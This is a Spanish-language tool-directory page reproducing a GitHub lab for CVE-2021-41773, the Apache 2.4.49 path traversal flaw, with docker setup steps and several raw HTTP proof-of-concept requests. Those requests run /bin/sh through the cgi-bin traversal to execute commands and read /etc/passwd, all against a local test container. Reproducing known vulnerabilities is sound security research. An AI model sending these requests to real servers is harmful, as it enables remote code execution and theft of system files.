Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — Reproducción de CVE-2021-41773 | Kitploit
Herramientas/GitHubGitHub/1nhann/cve-2021-41773
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHub1nhann/cve-2021-41773

CVE-2021-41773

Reproducción de CVE-2021-41773

Ver Repositorio
9413hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de CVE-2021-41773

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

v2.4.49 es una vulnerabilidad exclusiva de Apache. En versiones anteriores no existía la función ap_normalize_path, que fue introducida en la versión v2.4.49. Precisamente esta función provocó el path traversal, y fue corregida en v2.4.50.

Entorno

https://github.com/1nhann/CVE-2021-41773

En este entorno, se ha cargado el módulo cgi:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so
root@kitploit:~
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

Dentro del contenedor: image-20211006213843476

poc

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


Descargar herramienta

image-20211006210008166

Se ejecutó /bash.cgi de la raíz.

Obtener shell

Consultando la documentación de Apache sobre cgi:

STDIN and STDOUT

Other communication between the server and the client happens over standard input (STDIN) and standard output (STDOUT). In normal everyday context, STDIN means the keyboard, or a file that a program is given to act on, and STDOUT usually means the console or screen.

When you POST a web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program over STDIN. The program then can process that data as though it was coming in from the keyboard, or from a file

The "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:

root@kitploit:~
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

Es decir, los parámetros enviados mediante POST se pasan como contenido de stdin al programa CGI al que se accede.

Si se accede a /bin/sh, entonces se puede obtener directamente una shell.

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

También puede mostrar directamente el resultado de la ejecución del comando:

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

Lectura arbitraria de archivos

Si no se carga el módulo cgi, el archivo al que se accede no se ejecutará:

root@kitploit:~
#LoadModule cgi_module modules/mod_cgi.so

poc:

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006232521116